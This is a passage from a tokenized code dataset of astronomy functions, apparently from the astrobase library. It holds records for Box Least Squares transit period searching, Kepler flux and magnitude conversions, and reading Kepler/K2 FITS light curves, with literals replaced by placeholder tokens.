{'<STR_LIT>':npnan,<EOL>'<STR_LIT>':npnan,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':{'<STR_LIT>':startp,<EOL>'<STR_LIT>':endp,<EOL>'<STR_LIT>':stepsize,<EOL>'<STR_LIT>':mintransitduration,<EOL>'<STR_LIT>':maxtransitduration,<EOL>'<STR_LIT>':ndurations,<EOL>'<STR_LIT>':blsobjective,<EOL>'<STR_LIT>':blsmethod,<EOL>'<STR_LIT>':blsoversample,<EOL>'<STR_LIT>':autofreq,<EOL>'<STR_LIT>':periodepsilon,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':sigclip,<EOL>'<STR_LIT>':magsarefluxes}}<EOL><DEDENT>sortedlspind = npargsort(finlsp)[::-<NUM_LIT:1>]<EOL>sortedlspperiods = finperiods[sortedlspind]<EOL>sortedlspvals = finlsp[sortedlspind]<EOL>nbestperiods, nbestlspvals, nbestinds, peakcount = (<EOL>[finperiods[bestperiodind]],<EOL>[finlsp[bestperiodind]],<EOL>[bestperiodind],<EOL><NUM_LIT:1><EOL>)<EOL>prevperiod = sortedlspperiods[<NUM_LIT:0>]<EOL>for period, lspval, ind in zip(sortedlspperiods,<EOL>sortedlspvals,<EOL>sortedlspind):<EOL><INDENT>if peakcount == nbestpeaks:<EOL><INDENT>break<EOL><DEDENT>perioddiff = abs(period - prevperiod)<EOL>bestperiodsdiff = [abs(period - x) for x in nbestperiods]<EOL>if (perioddiff > (periodepsilon*prevperiod) and<EOL>all(x > (periodepsilon*period)<EOL>for x in bestperiodsdiff)):<EOL><INDENT>nbestperiods.append(period)<EOL>nbestlspvals.append(lspval)<EOL>nbestinds.append(ind)<EOL>peakcount = peakcount + <NUM_LIT:1><EOL><DEDENT>prevperiod = period<EOL><DEDENT>resultdict = {<EOL>'<STR_LIT>':finperiods[bestperiodind],<EOL>'<STR_LIT>':finlsp[bestperiodind],<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':nbestinds,<EOL>'<STR_LIT>':nbestlspvals,<EOL>'<STR_LIT>':nbestperiods,<EOL>'<STR_LIT>':lsp,<EOL>'<STR_LIT>':frequencies,<EOL>'<STR_LIT>':periods,<EOL>'<STR_LIT>':[x['<STR_LIT>'] for x in results],<EOL>'<STR_LIT>':[x['<STR_LIT>'] for x in results],<EOL>'<STR_LIT>':[x['<STR_LIT>'] for x in results],<EOL>'<STR_LIT>':stepsize,<EOL>'<STR_LIT>':nfreq,<EOL>'<STR_LIT>':mintransitduration,<EOL>'<STR_LIT>':maxtransitduration,<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':{'<STR_LIT>':startp,<EOL>'<STR_LIT>':endp,<EOL>'<STR_LIT>':stepsize,<EOL>'<STR_LIT>':mintransitduration,<EOL>'<STR_LIT>':maxtransitduration,<EOL>'<STR_LIT>':ndurations,<EOL>'<STR_LIT>':blsobjective,<EOL>'<STR_LIT>':blsmethod,<EOL>'<STR_LIT>':blsoversample,<EOL>'<STR_LIT>':autofreq,<EOL>'<STR_LIT>':periodepsilon,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':sigclip,<EOL>'<STR_LIT>':magsarefluxes}<EOL>}<EOL>return resultdict<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>')<EOL>return {'<STR_LIT>':npnan,<EOL>'<STR_LIT>':npnan,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':stepsize,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':mintransitduration,<EOL>'<STR_LIT>':maxtransitduration,<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':{'<STR_LIT>':startp,<EOL>'<STR_LIT>':endp,<EOL>'<STR_LIT>':stepsize,<EOL>'<STR_LIT>':mintransitduration,<EOL>'<STR_LIT>':maxtransitduration,<EOL>'<STR_LIT>':ndurations,<EOL>'<STR_LIT>':blsobjective,<EOL>'<STR_LIT>':blsmethod,<EOL>'<STR_LIT>':blsoversample,<EOL>'<STR_LIT>':autofreq,<EOL>'<STR_LIT>':periodepsilon,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':sigclip,<EOL>'<STR_LIT>':magsarefluxes}}<EOL><DEDENT>", "docstring": "Runs the Box Least Squares Fitting Search for transit-shaped signals.\n\n    Breaks up the full frequency space into chunks and passes them to parallel\n    BLS workers.\n\n    Based on the version of BLS in Astropy 3.1:\n    `astropy.stats.BoxLeastSquares`. If you don't have Astropy 3.1, this module\n    will fail to import. Note that by default, this implementation of\n    `bls_parallel_pfind` doesn't use the `.autoperiod()` function from\n    `BoxLeastSquares` but uses the same auto frequency-grid generation as the\n    functions in `periodbase.kbls`. If you want to use Astropy's implementation,\n    set the value of `autofreq` kwarg to 'astropy'. The generated period array\n    will then be broken up into chunks and sent to the individual workers.\n\n    NOTE: the combined BLS spectrum produced by this function is not identical\n    to that produced by running BLS in one shot for the entire frequency\n    space. There are differences on the order of 1.0e-3 or so in the respective\n    peak values, but peaks appear at the same frequencies for both methods. This\n    is likely due to different aliasing caused by smaller chunks of the\n    frequency space used by the parallel workers in this function. When in\n    doubt, confirm results for this parallel implementation by comparing to\n    those from the serial implementation above.\n\n    In particular, when you want to get reliable estimates of the SNR, transit\n    depth, duration, etc. that Astropy's BLS gives you, rerun `bls_serial_pfind`\n    with `startp`, and `endp` close to the best period you want to characterize\n    the transit at. The dict returned from that function contains a `blsmodel`\n    key, which is the generated model from Astropy's BLS. Use the\n    `.compute_stats()` method to calculate the required stats.\n\n    Parameters\n    ----------\n\n    times,mags,errs : np.array\n        The magnitude/flux time-series to search for transits.\n\n    magsarefluxes : bool\n        If the input measurement values in `mags` and `errs` are in fluxes, set\n        this to True.\n\n    startp,endp : float\n        The minimum and maximum periods to consider for the transit search.\n\n    stepsize : float\n        The step-size in frequency to use when constructing a frequency grid for\n        the period search.\n\n    mintransitduration,maxtransitduration : float\n        The minimum and maximum transitdurations (in units of phase) to consider\n        for the transit search.\n\n    ndurations : int\n        The number of transit durations to use in the period-search.\n\n    autofreq : bool or str\n        If this is True, the values of `stepsize` and `nphasebins` will be\n        ignored, and these, along with a frequency-grid, will be determined\n        based on the following relations::\n\n            nphasebins = int(ceil(2.0/mintransitduration))\n            if nphasebins > 3000:\n                nphasebins = 3000\n\n            stepsize = 0.25*mintransitduration/(times.max()-times.min())\n\n            minfreq = 1.0/endp\n            maxfreq = 1.0/startp\n            nfreq = int(ceil((maxfreq - minfreq)/stepsize))\n\n        If this is False, you must set `startp`, `endp`, and `stepsize` as\n        appropriate.\n\n        If this is str == 'astropy', will use the\n        `astropy.stats.BoxLeastSquares.autoperiod()` function to calculate the\n        frequency grid instead of the kbls method.\n\n    blsobjective : {'likelihood','snr'}\n        Sets the type of objective to optimize in the `BoxLeastSquares.power()`\n        function.\n\n    blsmethod : {'fast','slow'}\n        Sets the type of method to use in the `BoxLeastSquares.power()`\n        function.\n\n    blsoversample : {'likelihood','snr'}\n        Sets the `oversample` kwarg for the `BoxLeastSquares.power()` function.\n\n    blsmintransits : int\n        Sets the `min_n_transits` kwarg for the `BoxLeastSquares.autoperiod()`\n        function.\n\n    blsfreqfactor : float\n        Sets the `frequency_factor` kwarg for the `BoxLeastSquares.autoperiod()`\n        function.\n\n    periodepsilon : float\n        The fractional difference between successive values of 'best' periods\n        when sorting by periodogram power to consider them as separate periods\n        (as opposed to part of the same periodogram peak). This is used to avoid\n        broad peaks in the periodogram and make sure the 'best' periods returned\n        are all actually independent.\n\n    nbestpeaks : int\n        The number of 'best' peaks to return from the periodogram results,\n        starting from the global maximum of the periodogram peak values.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    verbose : bool\n        If this is True, will indicate progress and details about the frequency\n        grid used for the period search.\n\n    nworkers : int or None\n        The number of parallel workers to launch for period-search. If None,\n        nworkers = NCPUS.\n\n    Returns\n    -------\n\n    dict\n        This function returns a dict, referred to as an `lspinfo` dict in other\n        astrobase functions that operate on periodogram results. This is a\n        standardized format across all astrobase period-finders, and is of the\n        form below::\n\n            {'bestperiod': the best period value in the periodogram,\n             'bestlspval': the periodogram peak associated with the best period,\n             'nbestpeaks': the input value of nbestpeaks,\n             'nbestlspvals': nbestpeaks-size list of best period peak values,\n             'nbestperiods': nbestpeaks-size list of best periods,\n             'lspvals': the full array of periodogram powers,\n             'frequencies': the full array of frequencies considered,\n             'periods': the full array of periods considered,\n             'durations': the array of durations used to run BLS,\n             'blsresult': Astropy BLS result object (BoxLeastSquaresResult),\n             'blsmodel': Astropy BLS BoxLeastSquares object used for work,\n             'stepsize': the actual stepsize used,\n             'nfreq': the actual nfreq used,\n             'durations': the durations array used,\n             'mintransitduration': the input mintransitduration,\n             'maxtransitduration': the input maxtransitdurations,\n             'method':'bls' -> the name of the period-finder method,\n             'kwargs':{ dict of all of the input kwargs for record-keeping}}", "id": "f14765:m2"}
{"signature": "def keplerflux_to_keplermag(keplerflux, f12=<NUM_LIT>):", "body": "kepmag = <NUM_LIT> - <NUM_LIT>*nplog10(keplerflux/f12)<EOL>return kepmag<EOL>", "docstring": "This converts the Kepler flux in electrons/sec to Kepler magnitude.\n\n    The kepler mag/flux relation is::\n\n        fkep = (10.0**(-0.4*(kepmag - 12.0)))*f12\n        f12 = 1.74e5 # electrons/sec\n\n    Parameters\n    ----------\n\n    keplerflux : float or array-like\n        The flux value(s) to convert to magnitudes.\n\n    f12 : float\n        The flux value in the Kepler band corresponding to Kepler mag = 12.0.\n\n    Returns\n    -------\n\n    np.array\n        Magnitudes in the Kepler band corresponding to the input `keplerflux`\n        flux value(s).", "id": "f14766:m0"}
{"signature": "def keplermag_to_keplerflux(keplermag, f12=<NUM_LIT>):", "body": "kepflux = (<NUM_LIT>**(-<NUM_LIT>*(keplermag - <NUM_LIT>)))*f12<EOL>return kepflux<EOL>", "docstring": "This converts the Kepler mag back to Kepler flux.\n\n    Parameters\n    ----------\n\n    keplermag : float or array-like\n        The Kepler magnitude value(s) to convert to fluxes.\n\n    f12 : float\n        The flux value in the Kepler band corresponding to Kepler mag = 12.0.\n\n    Returns\n    -------\n\n    np.array\n        Fluxes in the Kepler band corresponding to the input `keplermag`\n        magnitude value(s).", "id": "f14766:m1"}
{"signature": "def keplermag_to_sdssr(keplermag, kic_sdssg, kic_sdssr):", "body": "kic_sdssgr = kic_sdssg - kic_sdssr<EOL>if kic_sdssgr < <NUM_LIT>:<EOL><INDENT>kepsdssr = (keplermag - <NUM_LIT>*kic_sdssg)/<NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>kepsdssr = (keplermag - <NUM_LIT:0.1>*kic_sdssg)/<NUM_LIT><EOL><DEDENT>return kepsdssr<EOL>", "docstring": "Converts magnitude measurements in Kepler band to SDSS r band.\n\n    Parameters\n    ----------\n\n    keplermag : float or array-like\n        The Kepler magnitude value(s) to convert to fluxes.\n\n    kic_sdssg,kic_sdssr : float or array-like\n        The SDSS g and r magnitudes of the object(s) from the Kepler Input\n        Catalog. The .llc.fits MAST light curve file for a Kepler object\n        contains these values in the FITS extension 0 header.\n\n    Returns\n    -------\n\n    float or array-like\n        SDSS r band magnitude(s) converted from the Kepler band magnitude.", "id": "f14766:m2"}
{"signature": "def flux_ppm_to_magnitudes(ppm):", "body": "return -<NUM_LIT>*nplog10(<NUM_LIT:1.0> - ppm/<NUM_LIT>)<EOL>", "docstring": "This converts Kepler's flux parts-per-million to magnitudes.\n\n    Mostly useful for turning PPMs reported by Kepler or TESS into millimag\n    values to compare with ground-based surveys.\n\n    Parameters\n    ----------\n\n    ppm : float or array-like\n        Kepler flux measurement errors or RMS values in parts-per-million.\n\n    Returns\n    -------\n\n    float or array-like\n        Measurement errors or RMS values expressed in magnitudes.", "id": "f14766:m3"}
{"signature": "def read_kepler_fitslc(<EOL>lcfits,<EOL>headerkeys=LCHEADERKEYS,<EOL>datakeys=LCDATAKEYS,<EOL>sapkeys=LCSAPKEYS,<EOL>pdckeys=LCPDCKEYS,<EOL>topkeys=LCTOPKEYS,<EOL>apkeys=LCAPERTUREKEYS,<EOL>appendto=None,<EOL>normalize=False,<EOL>):", "body": "<EOL>hdulist = pyfits.open(lcfits)<EOL>lchdr, lcdata = hdulist[<NUM_LIT:1>].header, hdulist[<NUM_LIT:1>].data<EOL>lctophdr, lcaperturehdr, lcaperturedata = (hdulist[<NUM_LIT:0>].header,<EOL>hdulist[<NUM_LIT:2>].header,<EOL>hdulist[<NUM_LIT:2>].data)<EOL>hdulist.close()<EOL>hdrinfo = {}<EOL>for key in headerkeys:<EOL><INDENT>if key in lchdr and lchdr[key] is not None:<EOL><INDENT>hdrinfo[key.lower()] = lchdr[key]<EOL><DEDENT>else:<EOL><INDENT>hdrinfo[key.lower()] = None<EOL><DEDENT><DEDENT>ndet = lchdr['<STR_LIT>']<EOL>for key in topkeys:<EOL><INDENT>if key in lctophdr and lctophdr[key] is not None:<EOL><INDENT>hdrinfo[key.lower()] = lctophdr[key]<EOL><DEDENT>else:<EOL><INDENT>hdrinfo[key.lower()] = None<EOL><DEDENT><DEDENT>for key in lcaperturehdr:<EOL><INDENT>if key in lcaperturehdr and lcaperturehdr[key] is not None:<EOL><INDENT>hdrinfo[key.lower()] = lcaperturehdr[key]<EOL><DEDENT>else:<EOL><INDENT>hdrinfo[key.lower()] = None<EOL><DEDENT><DEDENT>if appendto and isinstance(appendto, dict):<EOL><INDENT>lcdict = appendto<EOL>lcdict['<STR_LIT>'].append(hdrinfo['<STR_LIT>'])<EOL>lcdict['<STR_LIT>'].append(hdrinfo['<STR_LIT>'])<EOL>lcdict['<STR_LIT>'].append(hdrinfo['<STR_LIT>'])<EOL>lcdict['<STR_LIT>'].append(hdrinfo['<STR_LIT>'])<EOL>lcdict['<STR_LIT>'].append(hdrinfo['<STR_LIT>'])<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(hdrinfo['<STR_LIT>'])<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(<EOL>hdrinfo['<STR_LIT>'] + hdrinfo['<STR_LIT>']<EOL>)<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(hdrinfo['<STR_LIT>'])<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(lcaperturedata)<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(hdrinfo['<STR_LIT>'])<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(hdrinfo['<STR_LIT>'])<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(<EOL>(npabs(hdrinfo['<STR_LIT>']) +<EOL>npabs(hdrinfo['<STR_LIT>']))*<NUM_LIT>/<NUM_LIT><EOL>)<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(hdrinfo['<STR_LIT>'])<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(hdrinfo['<STR_LIT>'])<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(hdrinfo['<STR_LIT>'])<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(hdrinfo['<STR_LIT>'])<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(ndet)<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(hdrinfo['<STR_LIT>'])<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(hdrinfo['<STR_LIT>'])<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(hdrinfo['<STR_LIT>'])<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(hdrinfo['<STR_LIT>'])<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(hdrinfo['<STR_LIT>'])<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(hdrinfo['<STR_LIT>'])<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(hdrinfo['<STR_LIT>'])<EOL>for key in datakeys:<EOL><INDENT>if key.lower() in lcdict:<EOL><INDENT>lcdict[key.lower()] = (<EOL>npconcatenate((lcdict[key.lower()], lcdata[key]))<EOL>)<EOL><DEDENT><DEDENT>for key in sapkeys:<EOL><INDENT>if key.lower() in lcdict['<STR_LIT>']:<EOL><INDENT>sapflux_median = np.nanmedian(lcdata['<STR_LIT>'])<EOL>if normalize and key == '<STR_LIT>':<EOL><INDENT>thislcdata = lcdata[key] / sapflux_median<EOL><DEDENT>elif normalize and key == '<STR_LIT>':<EOL><INDENT>thislcdata = lcdata[key] / sapflux_median<EOL><DEDENT>elif normalize and key == '<STR_LIT>':<EOL><INDENT>thislcdata = lcdata[key] / sapflux_median<EOL><DEDENT>elif normalize and key == '<STR_LIT>':<EOL><INDENT>thislcdata = lcdata[key] / sapflux_median<EOL><DEDENT>else:<EOL><INDENT>thislcdata = lcdata[key]<EOL><DEDENT>lcdict['<STR_LIT>'][key.lower()] = (<EOL>np.concatenate((lcdict['<STR_LIT>'][key.lower()], thislcdata))<EOL>)<EOL><DEDENT><DEDENT>for key in pdckeys:<EOL><INDENT>if key.lower() in lcdict['<STR_LIT>']:<EOL><INDENT>pdcsap_flux_median = np.nanmedian(lcdata['<STR_LIT>'])<EOL>if normalize and key == '<STR_LIT>':<EOL><INDENT>thislcdata = lcdata[key] / pdcsap_flux_median<EOL><DEDENT>elif normalize and key == '<STR_LIT>':<EOL><INDENT>thislcdata = lcdata[key] / pdcsap_flux_median<EOL><DEDENT>else:<EOL><INDENT>thislcdata = lcdata[key]<EOL><DEDENT>lcdict['<STR_LIT>'][key.lower()] = (<EOL>np.concatenate((lcdict['<STR_LIT>'][key.lower()], thislcdata))<EOL>)<EOL><DEDENT><DEDENT>lcdict['<STR_LIT>'] = npconcatenate(<EOL>(lcdict['<STR_LIT>'],<EOL>npfull_like(lcdata['<STR_LIT>'],<EOL>hdrinfo['<STR_LIT>']))<EOL>)<EOL>lcdict['<STR_LIT>'] = npconcatenate(<EOL>(lcdict['<STR_LIT>'],<EOL>npfull_like(lcdata['<STR_LIT>'],<EOL>hdrinfo['<STR_LIT>']))<EOL>)<EOL>lcdict['<STR_LIT>'] = npconcatenate(<EOL>(lcdict['<STR_LIT>'],<EOL>npfull_like(lcdata['<STR_LIT>'],<EOL>hdrinfo['<STR_LIT>']))<EOL>)<EOL>lcdict['<STR_LIT>'] = npconcatenate(<EOL>(lcdict['<STR_LIT>'],<EOL>npfull_like(lcdata['<STR_LIT>'],<EOL>hdrinfo['<STR_LIT>']))<EOL>)<EOL>lcdict['<STR_LIT>'] = npconcatenate(<EOL>(lcdict['<STR_LIT>'],<EOL>npfull_like(lcdata['<STR_LIT>'],<EOL>hdrinfo['<STR_LIT>']))<EOL>)<EOL>lcdict['<STR_LIT>'] = npconcatenate(<EOL>(lcdict['<STR_LIT>'],<EOL>npfull_like(lcdata['<STR_LIT>'],<EOL>hdrinfo['<STR_LIT>']))<EOL>)<EOL>lcdict['<STR_LIT>'] = npconcatenate(<EOL>(lcdict['<STR_LIT>'],<EOL>npfull_like(lcdata['<STR_LIT>'],<EOL>hdrinfo['<STR_LIT>']))<EOL>)<EOL><DEDENT>else:<EOL><INDENT>lcdict = {<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],  <EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT:object>'],<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>'] + hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[lcaperturedata],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[(npabs(hdrinfo['<STR_LIT>']) +<EOL>npabs(hdrinfo['<STR_LIT>']))*<NUM_LIT>/<NUM_LIT>],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[ndet],<EOL>},<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':hdrinfo['<STR_LIT:object>'],  <EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>},<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>},<EOL>'<STR_LIT>':{},<EOL>'<STR_LIT>':{},<EOL>}<EOL>for key in datakeys:<EOL><INDENT>lcdict[key.lower()] = lcdata[key]<EOL><DEDENT>for key in sapkeys:<EOL><INDENT>lcdict['<STR_LIT>'][key.lower()] = lcdata[key]<EOL><DEDENT>for key in pdckeys:<EOL><INDENT>lcdict['<STR_LIT>'][key.lower()] = lcdata[key]<EOL><DEDENT>lcdict['<STR_LIT>'] = npfull_like(lcdict['<STR_LIT:time>'],<EOL>lcdict['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>])<EOL>lcdict['<STR_LIT>'] = npfull_like(lcdict['<STR_LIT:time>'],<EOL>lcdict['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>])<EOL>lcdict['<STR_LIT>'] = npfull_like(lcdict['<STR_LIT:time>'],<EOL>lcdict['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>])<EOL>lcdict['<STR_LIT>'] = npfull_like(lcdict['<STR_LIT:time>'],<EOL>lcdict['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>])<EOL>lcdict['<STR_LIT>'] = npfull_like(lcdict['<STR_LIT:time>'],<EOL>lcdict['<STR_LIT>'][<NUM_LIT:0>])<EOL>lcdict['<STR_LIT>'] = npfull_like(lcdict['<STR_LIT:time>'],<EOL>lcdict['<STR_LIT>'][<NUM_LIT:0>])<EOL>lcdict['<STR_LIT>'] = npfull_like(lcdict['<STR_LIT:time>'],<EOL>lcdict['<STR_LIT>'][<NUM_LIT:0>])<EOL>if normalize:<EOL><INDENT>sapflux_median = np.nanmedian(lcdict['<STR_LIT>']['<STR_LIT>'])<EOL>pdcsap_flux_median = np.nanmedian(lcdict['<STR_LIT>']['<STR_LIT>'])<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] = (<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] /<EOL>sapflux_median<EOL>)<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] = (<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] /<EOL>sapflux_median<EOL>)<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] = (<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] /<EOL>sapflux_median<EOL>)<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] = (<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] /<EOL>sapflux_median<EOL>)<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] = (<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] /<EOL>pdcsap_flux_median<EOL>)<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] = (<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] /<EOL>pdcsap_flux_median<EOL>)<EOL><DEDENT><DEDENT>lcdict['<STR_LIT>'] = (<EOL>[x.lower() for x in datakeys] +<EOL>['<STR_LIT>' % x.lower() for x in sapkeys] +<EOL>['<STR_LIT>' % x.lower() for x in pdckeys] +<EOL>['<STR_LIT>','<STR_LIT>','<STR_LIT>',<EOL>'<STR_LIT>','<STR_LIT>','<STR_LIT>']<EOL>)<EOL>return lcdict<EOL>", "docstring": "This extracts the light curve from a single Kepler or K2 LC FITS file.\n\n    This works on the light curves available at MAST:\n\n    - `kplr{kepid}-{somedatething}_llc.fits` files from the Kepler mission\n    - `ktwo{epicid}-c{campaign}_llc.fits` files from the K2 mission\n\n    Parameters\n    ----------\n\n    lcfits : str\n        The filename of a MAST Kepler/K2 light curve FITS file.\n\n    headerkeys : list\n        A list of FITS header keys that will be extracted from the FITS light\n        curve file. These describe the observations. The default value for this\n        is given in `LCHEADERKEYS` above.\n\n    datakeys : list\n        A list of FITS column names that correspond to the auxiliary\n        measurements in the light curve. The default is `LCDATAKEYS` above.\n\n    sapkeys : list\n        A list of FITS column names that correspond to the SAP flux\n        measurements in the light curve. The default is `LCSAPKEYS` above.\n\n    pdckeys : list\n        A list of FITS column names that correspond to the PDC flux\n        measurements in the light curve. The default is `LCPDCKEYS` above.\n\n    topkeys : list\n        A list of FITS header keys that describe the object in the light\n        curve. The default is `LCTOPKEYS` above.\n\n    apkeys : list\n        A list of FITS header keys that describe the flux measurement apertures\n        used by the Kepler/K2 pipeline. The default is `LCAPERTUREKEYS` above.\n\n    appendto : lcdict or None\n        If appendto is an `lcdict`, will append measurements of this `lcdict` to\n        that `lcdict`. This is used for consolidating light curves for the same\n        object across different files (quarters). The appending does not care\n        about the time order. To consolidate light curves in time order, use\n        `consolidate_kepler_fitslc` below.\n\n    normalize : bool\n        If True, then each component light curve's SAP_FLUX and PDCSAP_FLUX\n        measurements will be normalized to 1.0 by dividing out the median flux\n        for the component light curve.\n\n    Returns\n    -------\n\n    lcdict\n        Returns an `lcdict` (this is useable by most astrobase functions for LC\n        processing).", "id": "f14766:m4"}
{"signature": "def consolidate_kepler_fitslc(keplerid,<EOL>lcfitsdir,<EOL>normalize=True,<EOL>headerkeys=LCHEADERKEYS,<EOL>datakeys=LCDATAKEYS,<EOL>sapkeys=LCSAPKEYS,<EOL>pdckeys=LCPDCKEYS,<EOL>topkeys=LCTOPKEYS,<EOL>apkeys=LCAPERTUREKEYS):", "body": "LOGINFO('<STR_LIT>' % (lcfitsdir,<EOL>keplerid))<EOL>if sys.version_info[:<NUM_LIT:2>] > (<NUM_LIT:3>,<NUM_LIT:4>):<EOL><INDENT>matching = glob.glob(os.path.join(lcfitsdir,<EOL>'<STR_LIT>',<EOL>'<STR_LIT>' % keplerid),<EOL>recursive=True)<EOL>LOGINFO('<STR_LIT>' % (len(matching), repr(matching)))<EOL><DEDENT>else:<EOL><INDENT>walker = os.walk(lcfitsdir)<EOL>matching = []<EOL>for root, dirs, _files in walker:<EOL><INDENT>for sdir in dirs:<EOL><INDENT>searchpath = os.path.join(root,<EOL>sdir,<EOL>'<STR_LIT>' % keplerid)<EOL>foundfiles = glob.glob(searchpath)<EOL>if foundfiles:<EOL><INDENT>matching.extend(foundfiles)<EOL>LOGINFO('<STR_LIT>' % (repr(foundfiles),<EOL>os.path.join(root,sdir)))<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if len(matching) > <NUM_LIT:0>:<EOL><INDENT>LOGINFO('<STR_LIT>')<EOL>consolidated = 